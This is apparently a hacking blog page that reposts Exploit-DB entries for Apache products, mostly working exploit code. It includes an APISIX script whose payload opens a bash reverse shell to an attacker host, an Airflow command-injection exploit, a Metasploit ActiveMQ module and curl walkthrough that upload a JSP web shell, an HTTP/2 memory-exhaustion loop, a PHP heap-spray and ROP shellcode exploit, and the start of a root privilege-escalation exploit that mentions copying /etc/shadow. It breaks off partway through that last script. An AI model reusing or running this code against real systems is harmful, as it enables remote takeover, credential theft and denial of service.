Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110117

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/51917/info

Apache APR is prone to a denial-of-service vulnerability.

An attacker can exploit this issue by sending specially crafted forms in HTTP POST requests.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36669.zip
            
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Date: 2022-03-16
# Exploit Author: Ven3xy
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: CentOS 7
# CVE : CVE-2022-24112


import requests
import sys

class color:
    HEADER = '\033[95m'
    IMPORTANT = '\33[35m'
    NOTICE = '\033[33m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    RED = '\033[91m'
    END = '\033[0m'
    UNDERLINE = '\033[4m'
    LOGGING = '\33[34m'
color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]    
    

def banner():
    run = color_random[6]+'''\n                                   .     , 
        _.._ * __*\./ ___  _ \./._ | _ *-+-
       (_][_)|_) |/'\     (/,/'\[_)|(_)| | 
          |                     |          
\n'''
    run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''           
    run3 = color_random[4]+'''{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\n\n'''
    print(run+run2+run3)    

if (len(sys.argv) != 4):
    banner()
    print("[!] Usage   : ./apisix-exploit.py <target_url> <lhost> <lport>")
    exit()
    
else:
    banner()
    target_url = sys.argv[1]  
    lhost = sys.argv[2]
    lport = sys.argv[3]
    
headers1 = {
    'Host': '127.0.0.1:8080',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
    'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
    'Accept': '*/*',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Content-Length': '540',
    'Connection': 'close',
}

headers2 = {
    'Host': '127.0.0.1:8080',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
    'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
    'Accept': '*/*',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/json',
    'Connection': 'close',
}

json_data = {
    'headers': {
        'X-Real-IP': '127.0.0.1',
        'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
        'Content-Type': 'application/json',
    },
    'timeout': 1500,
    'pipeline': [
        {
            'path': '/apisix/admin/routes/index',
            'method': 'PUT',
            'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
        },
    ],
}

response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)

response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)
            
# Exploit Title: Apache Airflow 1.10.10 - 'Example Dag' Remote Code Execution 
# Date: 2021-06-02
# Exploit Author: Pepe Berba
# Vendor Homepage: https://airflow.apache.org/
# Software Link: https://airflow.apache.org/docs/apache-airflow/stable/installation.html
# Version: <= 1.10.10
# Tested on: Docker apache/airflow:1.10 .10 (https://github.com/pberba/CVE-2020-11978/blob/main/docker-compose.yml)
# CVE : CVE-2020-11978
# 
# This is a proof of concept for CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow
# This combines with CVE-2020-13927 where unauthenticated requests to Airflow's Experimental API were allowded by default.
# Together, potentially allows unauthenticated RCE to Airflow 
# 
# Repo: https://github.com/pberba/CVE-2020-11978
# More information can be found here:  
# https://lists.apache.org/thread.html/r23a81b247aa346ff193670be565b2b8ea4b17ddbc7a35fc099c1aadd%40%3Cdev.airflow.apache.org%3E
# https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
#
# Remediation:
# For CVE-2020-13927 make sure that the config `[api]auth_backend = airflow.api.auth.backend.deny_all` or has auth set.
# For CVE-2020-11978 use 1.10.11 or set `load_examples=False` when initializing Airflow. You can also manually delete example_trigger_target_dag DAG.
#
# Example usage: python CVE-2020-11978.py http://127.0.0.1:8080 "touch test"

import argparse
import requests
import sys
import time

def create_dag(url, cmd):
	print('[+] Checking if Airflow Experimental REST API is accessible...')
	check = requests.get('{}/api/experimental/test'.format(url))

	if check.status_code == 200:
		print('[+] /api/experimental/test returned 200' )
	else:
		print('[!] /api/experimental/test returned {}'.format(check.status_code))
		print('[!] Airflow Experimental REST API not be accessible')
		sys.exit(1)

	check_task = requests.get('{}/api/experimental/dags/example_trigger_target_dag/tasks/bash_task'.format(url))
	if check_task.status_code != 200:
		print('[!] Failed to find the example_trigger_target_dag.bash_task')
		print('[!] Host isn\'t vunerable to CVE-2020-11978')
		sys.exit(1)
	elif 'dag_run' in check_task.json()['env']:
		print('[!] example_trigger_target_dag.bash_task is patched')
		print('[!] Host isn\'t vunerable to CVE-2020-11978')
		sys.exit(1)
	print('[+] example_trigger_target_dag.bash_task is vulnerable')

	unpause = requests.get('{}/api/experimental/dags/example_trigger_target_dag/paused/false'.format(url))
	if unpause.status_code != 200:
		print('[!] Unable to enable example_trigger_target_dag. Example dags were not loaded')
		sys.exit(1)
	else:
		print('[+] example_trigger_target_dag was enabled')

	print('[+] Creating new DAG...')
	res = requests.post(
	    '{}/api/experimental/dags/example_trigger_target_dag/dag_runs'.format(url),
	    json={
	        'conf': {
	                'message': '"; {} #'.format(cmd)
	        }
	    }
	)

	if res.status_code == 200:
		print('[+] Successfully created DAG')
		print('[+] "{}"'.format(res.json()['message']))
	else:
		print('[!] Failed to create DAG')
		sys.exit(1)

	wait_url = '{url}/api/experimental/dags/example_trigger_target_dag/dag_runs/{execution_date}/tasks/bash_task'.format(
		url = url,
		execution_date=res.json()['execution_date']
	)

	start_time = time.time()
	print('[.] Waiting for the scheduler to run the DAG... This might take a minute.')
	print('[.] If the bash task is never queued, then the scheduler might not be running.')
	while True:
		time.sleep(10)
		res = requests.get(wait_url)
		status = res.json()['state']
		if status == 'queued':
			print('[.] Bash task queued...')
		elif status == 'running':
			print('[+] Bash task running...')
		elif status == 'success':
			print('[+] Bash task successfully ran')
			break
		elif status == 'None':
			print('[-] Bash task is not yet queued...'.format(status))
		else:
			print('[!] Bash task was {}'.format(status))
			sys.exit(1)

	return 0


def main():
	arg_parser = argparse.ArgumentParser()
	arg_parser.add_argument('url', type=str, help="Base URL for Airflow")
	arg_parser.add_argument('command', type=str)
	args = arg_parser.parse_args()

	create_dag(
		args.url, 
		args.command
	)

if __name__ == '__main__':
	main()
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache
        ActiveMQ 5.x before 5.11.2 for Windows.

        The module tries to upload a JSP payload to the /admin directory via the traversal
        path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ
        credentials admin:admin (or other credentials provided by the user). It then issues
        an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the
        payload and obtain a shell.
      },
      'Author'          =>
        [
          'David Jorm',     # Discovery and exploit
          'Erik Wynter'     # @wyntererik - Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2015-1830' ],
          [ 'EDB', '40857'],
          [ 'URL', 'https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt' ]
        ],
      'Privileged'     => false,
      'Platform'    => %w{ win },
      'Targets'     =>
        [
          [ 'Windows Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'win'
            }
          ],
        ],
      'DisclosureDate' => '2015-08-19',
      'License'        => MSF_LICENSE,
      'DefaultOptions'  => {
        'RPORT' => 8161,
        'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
        },
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
      OptString.new('PATH',      [true, 'Traversal path', '/fileserver/..\\admin\\']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
    ])
  end

  def check
    print_status("Running check...")
    testfile = Rex::Text::rand_text_alpha(10)
    testcontent = Rex::Text::rand_text_alpha(10)

    send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'PUT',
      'data'      => "<% out.println(\"#{testcontent}\");%>"
    })

    res1 = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'GET'
    })

    if res1 && res1.body.include?(testcontent)
      send_request_cgi(
        opts = {
          'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
          'headers'     => {
            'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
            },
          'method'    => 'DELETE'
        },
        timeout = 1
      )
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Uploading payload...")
    testfile = Rex::Text::rand_text_alpha(10)
    vprint_status("If upload succeeds, payload will be available at #{target_uri.path}admin/#{testfile}.jsp") #This information is provided to allow for manual execution of the payload in case the upload is successful but the GET request issued by the module fails.

    send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, datastore['PATH'], "#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        },
      'method'    => 'PUT',
      'data'      => payload.encoded
    })

    print_status("Payload sent. Attempting to execute the payload.")
    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path,"admin/#{testfile}.jsp"),
      'headers'     => {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      },
      'method'    => 'GET'
    })
    if res && res.code == 200
      print_good("Payload executed!")
    else
      fail_with(Failure::PayloadFailed, "Failed to execute the payload")
    end
  end
end
            
I have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. 
I have only been able to reproduce this on Windows, i.e. where "\" is a path delimiter. 
An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.

Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:
 <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">  
     <property name="constraint" ref="securityConstraint">  
     <property name="pathSpec" value="/api/*,/admin/*,*.jsp">  
   </property></property>  
 </bean>  
Effectively blocking the upload of JSP files into contexts that will allow them to execute. 

I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:

$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\\conf\\jetty-realm.properties

This seems to have the disadvantage of requiring a reboot of the server to take effect. 
I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. 
The attacker can then take a standard JSP shell:

$ cat cmd.jsp 
 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 %>  
 <HTML><BODY>  
 Commands with JSP  
 <FORM METHOD="GET" NAME="myform" ACTION="">  
 <INPUT TYPE="text" NAME="cmd">  
 <INPUT TYPE="submit" VALUE="Send">  
 </FORM>  
 <pre>  
 <%  
 if (request.getParameter("cmd") != null) {  
 out.println("Command: " + request.getParameter("cmd") + "<BR>");  
 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
 OutputStream os = p.getOutputStream();  
 InputStream in = p.getInputStream();  
 DataInputStream dis = new DataInputStream(in);  
 String disr = dis.readLine();  
 while ( disr != null ) {  
 out.println(disr);  
 disr = dis.readLine();  
 }  
 }  
 %>  
 </pre>  
 </BODY></HTML>  

Upload it, exploiting the "..\" directory traversal flaw to put it into an executable context:

$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\\admin\\cmd.jsp

And pop a calc on the server:

$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe

Exploiting non-Windows servers

All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only "..\" worked. 
That said, clients can specify the uploadUrl for a blob transfer, e.g.:

tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com

An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.

Resolution

The ActiveMQ project has released an advisory and patches. 
This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. 
It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.
            
source: https://www.securityfocus.com/bid/50802/info

Apache HTTP Server is prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and obtain sensitive information about running web applications. 

The following example patterns are available:

RewriteRule ^(.*) http://www.example.com$1
ProxyPassMatch ^(.*) http://www.example.com$1 
            
# Exploit Title: Apache 2.4.x - Buffer Overflow
# Date: Jan 2 2023
# Exploit Author: Sunil Iyengar
# Vendor Homepage: https://httpd.apache.org/
# Software Link: https://archive.apache.org/dist/httpd/
# Version: Any version less than 2.4.51. Tested on 2.4.50 and 2.4.51
# Tested on: (Server) Kali, (Client) MacOS Monterey
# CVE : CVE-2021-44790


import requests

#Example "http(s)://<hostname>/process.lua"
url = "http(s)://<hostname>/<luafile>"

payload = "4\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n0\r\n4\r\n"
headers = {
  'Content-Type': 'multipart/form-data; boundary=4'
}

#Note1: The value for boundary=4, in the above example, is arbitrary. It can be anything else like 1.
# But this has to match with the values in Payload.

#Note2: The form data as shown above returns the response as "memory allocation error: block too big".
# But one can change the payload to name=\"name\"\r\n\r\n\r\n4\r\n" and not get the error but on the lua module overflows
# 3 more bytes during memset

response = requests.request("POST", url, headers=headers, data=payload)

print(response.text)

#Response returned is
#<h3>Error!</h3>
#<pre>memory allocation error: block too big</pre>
            
<?php

// Source: http://akat1.pl/?id=1

function get_maps() {
        $fh = fopen("/proc/self/maps", "r");
        $maps = fread($fh, 331337);
        fclose($fh);
        return explode("\n", $maps);
}

function find_map($sym) {
    $addr = 0;
    foreach(get_maps() as $record)
        if (strstr($record, $sym) && strstr($record, "r-xp")) {
            $addr = hexdec(explode('-', $record)[0]);
            break;
        }

    if ($addr == 0)
            die("[-] can't find $sym base, you need an information leak :[");

    return $addr;
}

function fill_buffer($offset, $content) {
    global $buffer;
    for ($i = 0; $i < strlen($content); $i++)
        $buffer[$offset + $i] = $content[$i];
    return;
}

$pre = get_maps();
$buffer = str_repeat("\x00", 0xff0000);
$post = get_maps();

$tmp = array_diff($post, $pre);

if (count($tmp) != 1)
        die('[-] you need an information leak :[');

$buffer_base = hexdec(explode('-',array_values($tmp)[0])[0]);
$addr = $buffer_base+0x14; /* align to string */

echo "[+] buffer string @ 0x".dechex($addr)."\n";

$align = 0xff;
$addr += $align;

echo "[+] faking EVP_PKEY @ 0x".dechex($addr)."\n";
echo "[+] faking ASN @ 0x".dechex($addr)."\n";
fill_buffer($align + 12, pack('P', $addr));

$libphp_base = find_map("libphp7");
echo "[+] libphp7 base @ 0x".dechex($libphp_base)."\n";

/* pop x ; pop rsp ; ret - stack pivot */
$rop_addr = $libphp_base + 0x00000000004a79c3;
echo "[+] faking pkey_free @ 0x".dechex($addr+0xa0-4)." = ".dechex($rop_addr)."\n";
fill_buffer($align + 0xa0 - 4, pack('P', $rop_addr));

/* pop rbp ; pop rbp ; ret - clean up the stack after pivoting */
$rop_addr = $libphp_base + 0x000000000041d583;
fill_buffer($align - 4, pack('P', $rop_addr));

$libc_base = find_map("libc-");
echo "[+] libc base @ 0x".dechex($libc_base)."\n";

$mprotect_offset = 0xf4a20;
$mprotect_addr = $libc_base + $mprotect_offset;
echo "[+] mprotect @ 0x".dechex($mprotect_addr)."\n";

$mmap_offset = 0xf49c0;
$mmap_addr = $libc_base + $mmap_offset;
echo "[+] mmap @ 0x".dechex($mmap_addr)."\n";

$apache2_base = find_map("/usr/sbin/apache2");
echo "[+] apache2 base @ 0x".dechex($apache2_base)."\n";

$ap_rprintf_offset = 0x429c0;
$ap_rprintf_addr = $apache2_base + $ap_rprintf_offset;
echo "[+] ap_rprintf @ 0x".dechex($ap_rprintf_addr)."\n";

$ap_hook_quick_handler_offset = 0x56c00;
$ap_hook_quick_handler_addr = $apache2_base + $ap_hook_quick_handler_offset;
echo "[+] ap_hook_quick_handler @ 0x".dechex($ap_hook_quick_handler_addr)."\n";

echo "[+] building ropchain\n";
$rop_chain =
        pack('P', $libphp_base + 0x00000000000ea107) .  // pop rdx ; ret
        pack('P', 0x0000000000000007) .                 // rdx = 7
        pack('P', $libphp_base + 0x00000000000e69bd) .  // pop rsi ; ret
        pack('P', 0x0000000000004000) .                 // rsi = 0x1000
        pack('P', $libphp_base + 0x00000000000e5fd8) .  // pop rdi ; ret
        pack('P', $addr ^ ($addr & 0xffff)) .           // rdi = page aligned addr
        pack('P', $mprotect_addr) .                     // mprotect addr
        pack('P', ($addr ^ ($addr & 0xffff)) | 0x10ff); // return to shellcode_stage1
fill_buffer($align + 0x14, $rop_chain);

$shellcode_stage1 = str_repeat("\x90", 512) .
        "\x48\xb8" . pack('P', $buffer_base + 0x2018) .         // movabs shellcode_stage2, %rax
        "\x49\xb8" . pack('P', 0x1000) .                        // handler size
        "\x48\xb9" . pack('P', $buffer_base + 0x3018) .         // handler
        "\x48\xba" . pack('P', $ap_hook_quick_handler_addr) .   // movabs ap_hook_quick_handler, %rdx
        "\x48\xbe" . pack('P', 0) .                             // UNUSED
        "\x48\xbf" . pack('P', $mmap_addr) .                    // movabs mmap,%rdi
        "\xff\xd0" .                                            // callq %rax
        "\xb8\x27\x00\x00\x00" .                                // mov $0x27,%eax - getpid syscall
        "\x0f\x05" .                                            // syscall
        "\xbe\x1b\x00\x00\x00" .                                // mov $0xd,%esi - SIGPROF
        "\x89\xc7" .                                            // mov %eax,%edi - pid
        "\xb8\x3e\x00\x00\x00" .                                // mov $0x3e,%eax  - kill syscall
        "\x0f\x05";                                             // syscall
fill_buffer(0x1000, $shellcode_stage1);

$shellcode_stage2 = str_repeat("\x90", 512) .
        "\x55" .                        // push   %rbp
        "\x48\x89\xe5" .                // mov    %rsp,%rbp
        "\x48\x83\xec\x40" .            // sub    $0x40,%rsp
        "\x48\x89\x7d\xe8" .            // mov    %rdi,-0x18(%rbp)
        "\x48\x89\x75\xe0" .            // mov    %rsi,-0x20(%rbp)
        "\x48\x89\x55\xd8" .            // mov    %rdx,-0x28(%rbp)
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x4c\x89\x45\xc8" .            // mov    %r8,-0x38(%rbp)
        "\x48\x8b\x45\xe8" .            // mov    -0x18(%rbp),%rax
        "\x41\xb9\x00\x00\x00\x00" .    // mov    $0x0,%r9d
        "\x41\xb8\xff\xff\xff\xff" .    // mov    $0xffffffff,%r8d
        "\xb9\x22\x00\x00\x00" .        // mov    $0x22,%ecx
        "\xba\x07\x00\x00\x00" .        // mov    $0x7,%edx
        "\xbe\x00\x20\x00\x00" .        // mov    $0x2000,%esi
        "\xbf\x00\x00\x00\x00" .        // mov    $0x0,%edi
        "\xff\xd0" .                    // callq  *%rax
        "\x48\x89\x45\xf0" .            // mov    %rax,-0x10(%rbp)
        "\x48\x8b\x45\xf0" .            // mov    -0x10(%rbp),%rax
        "\x48\x89\x45\xf8" .            // mov    %rax,-0x8(%rbp)
        "\xeb\x1d" .                    // jmp    0x40063d <shellcode+0x6d>
        "\x48\x8b\x45\xf8" .            // mov    -0x8(%rbp),%rax
        "\x48\x8d\x50\x01" .            // lea    0x1(%rax),%rdx
        "\x48\x89\x55\xf8" .            // mov    %rdx,-0x8(%rbp)
        "\x48\x8b\x55\xd0" .            // mov    -0x30(%rbp),%rdx
        "\x48\x8d\x4a\x01" .            // lea    0x1(%rdx),%rcx
        "\x48\x89\x4d\xd0" .            // mov    %rcx,-0x30(%rbp)
        "\x0f\xb6\x12" .                // movzbl (%rdx),%edx
        "\x88\x10" .                    // mov    %dl,(%rax)
        "\x48\x8b\x45\xc8" .            // mov    -0x38(%rbp),%rax
        "\x48\x8d\x50\xff" .            // lea    -0x1(%rax),%rdx
        "\x48\x89\x55\xc8" .            // mov    %rdx,-0x38(%rbp)
        "\x48\x85\xc0" .                // test   %rax,%rax
        "\x75\xd2" .                    // jne    0x400620 <shellcode+0x50>
        "\x48\x8b\x7d\xf0" .            // mov    -0x10(%rbp),%rdi
        "\x48\x8b\x45\xd8" .            // mov    -0x28(%rbp),%rax
        "\xb9\xf6\xff\xff\xff" .        // mov    $0xfffffff6,%ecx
        "\xba\x00\x00\x00\x00" .        // mov    $0x0,%edx
        "\xbe\x00\x00\x00\x00" .        // mov    $0x0,%esi
        "\xff\xd0" .                    // callq  *%rax
        "\xc9" .                        // leaveq
        "\xc3";                         // retq
fill_buffer(0x2000, $shellcode_stage2);

$handler =
        "\x55" .                                    // push   %rbp
        "\x48\x89\xe5" .                            // mov    %rsp,%rbp
        "\x48\x83\xec\x30" .                        // sub    $0x30,%rsp
        "\x48\x89\x7d\xd8" .                        // mov    %rdi,-0x28(%rbp)
        "\x48\xb8" . pack('P', $ap_rprintf_addr) .  // movabs $0xdeadbabefeedcafe,%rax
        "\x48\x89\x45\xf8" .                        // mov    %rax,-0x8(%rbp)
        "\x48\xb8" . "Hello Wo" .                   // movabs CONTENT,%rax
        "\x48\x89\x45\xe0" .                        // mov    %rax,-0x20(%rbp)
        "\x48\xb8" . "rld!\n\x00\x00\x00" .         // movabs CONTENT,%rax
        "\x48\x89\x45\xe8" .                        // mov    %rax,-0x20(%rbp)
        "\x48\x8d\x4d\xe0" .                        // lea    -0x20(%rbp),%rcx
        "\x48\x8b\x55\xd8" .                        // mov    -0x28(%rbp),%rdx
        "\x48\x8b\x45\xf8" .                        // mov    -0x8(%rbp),%rax
        "\x48\x89\xce" .                            // mov    %rcx,%rsi
        "\x48\x89\xd7" .                            // mov    %rdx,%rdi
        "\xff\xd0" .                                // callq  *%rax
        "\xb8\x00\x00\x00\x00" .                    // mov    $0x0,%eax
        "\xc9" .                                    // leaveq
        "\xc3";                                     // retq
fill_buffer(0x3000, $handler);

$addr = pack('P', $addr);
$memory = str_repeat($addr,321);

$pem = "
-----BEGIN PUBLIC KEY-----
MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRANG2dvm8oNiH3IciNd44VZcCAwEAAQ==
-----END PUBLIC KEY-----"; /* Random RSA key */

$a = array_fill(0,321,0);
/* place valid keys at the beginning */ 
$k = openssl_pkey_get_public($pem);
$a[0] = $k; $a[1] = $k; $a[2] = $k;
echo "[+] spraying heap\n";
$x = array();
for ($i = 0 ; $i < 20000 ; $i++) {
        $x[$i] = str_repeat($memory, 1);
}
for ($i = 0 ; $i < 20000 ; $i++) {
        unset($x[$i]);
}
unset($x);
echo "[+] triggering openssl_seal()...\n";
@openssl_seal($_, $_, $_, $a);
echo "[-] failed ;[\n";
            
#!/usr/bin/python

""" source : http://seclists.org/bugtraq/2016/Dec/3
The mod_http2 module in the Apache HTTP Server 2.4.17 through 2.4.23, when the Protocols configuration includes h2 or h2c, does not restrict request-header length, which allows remote attackers to cause a denial of service (memory consumption) via crafted CONTINUATION frames in an HTTP/2 request.(https://access.redhat.com/security/cve/cve-2016-8740)

Usage : cve-2016-8740.py [HOST] [PORT]
"""

import sys
import struct
import socket

HOST = sys.argv[1]
PORT = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# https://http2.github.io/http2-spec/#ConnectionHeader
s.sendall('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')

# https://http2.github.io/http2-spec/#SETTINGS
SETTINGS = struct.pack('3B', 0x00, 0x00, 0x00) # Length
SETTINGS += struct.pack('B', 0x04) # Type
SETTINGS += struct.pack('B', 0x00)
SETTINGS += struct.pack('>I', 0x00000000)
s.sendall(SETTINGS)

# https://http2.github.io/http2-spec/#HEADERS
HEADER_BLOCK_FRAME = '\x82\x84\x86\x41\x86\xa0\xe4\x1d\x13\x9d\x09\x7a\x88\x25\xb6\x50\xc3\xab\xb6\x15\xc1\x53\x03\x2a\x2f\x2a\x40\x83\x18\xc6\x3f\x04\x76\x76\x76\x76'
HEADERS = struct.pack('>I', len(HEADER_BLOCK_FRAME))[1:] # Length
HEADERS += struct.pack('B', 0x01) # Type
HEADERS += struct.pack('B', 0x00) # Flags
HEADERS += struct.pack('>I', 0x00000001) # Stream ID
s.sendall(HEADERS + HEADER_BLOCK_FRAME)

# Sending CONTINUATION frames for leaking memory
# https://http2.github.io/http2-spec/#CONTINUATION
while True:
    HEADER_BLOCK_FRAME = '\x40\x83\x18\xc6\x3f\x04\x76\x76\x76\x76'
    HEADERS = struct.pack('>I', len(HEADER_BLOCK_FRAME))[1:] # Length
    HEADERS += struct.pack('B', 0x09) # Type
    HEADERS += struct.pack('B', 0x01) # Flags
    HEADERS += struct.pack('>I', 0x00000001) # Stream ID
    s.sendall(HEADERS + HEADER_BLOCK_FRAME)
            
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W  --% S   F
#  5 87% 177 26 (default)
#  8 89%  60  8
# 10 95%  70  4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#


o('CARPE (DIEM) ~ CVE-2019-0211');
o('');

error_reporting(E_ALL);


# Starts the exploit by triggering the UAF.
function real()
{
	global $y;
	$y = [new Z()];
	json_encode([0 => &$y]);
}

# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
#   replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
#   end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
#   y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
#   especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
#   mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
#   function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
#   bucket
class Z implements JsonSerializable
{
	public function jsonSerialize()
	{
		global $y, $addresses, $workers_pids;

		#
		# Setup memory
		#
        o('Triggering UAF');
		o('  Creating room and filling empty spaces');

		# Fill empty blocks to make sure our allocations will be contiguous
		# I: Since a lot of allocations/deallocations happen before the script
		# is ran, two variables instanciated at the same time might not be
		# contiguous: this can be a problem for a lot of reasons.
		# To avoid this, we instanciate several DateInterval objects. These
		# objects will fill a lot of potentially non-contiguous memory blocks,
		# ensuring we get "fresh memory" in upcoming allocations.
		$contiguous = [];
		for($i=0;$i<10;$i++)
			$contiguous[] = new DateInterval('PT1S');

		# Create some space for our UAF blocks not to get overwritten
		# I: A PHP object is a combination of a lot of structures, such as
		# zval, zend_object, zend_object_handlers, zend_string, etc., which are
		# all allocated, and freed when the object is destroyed.
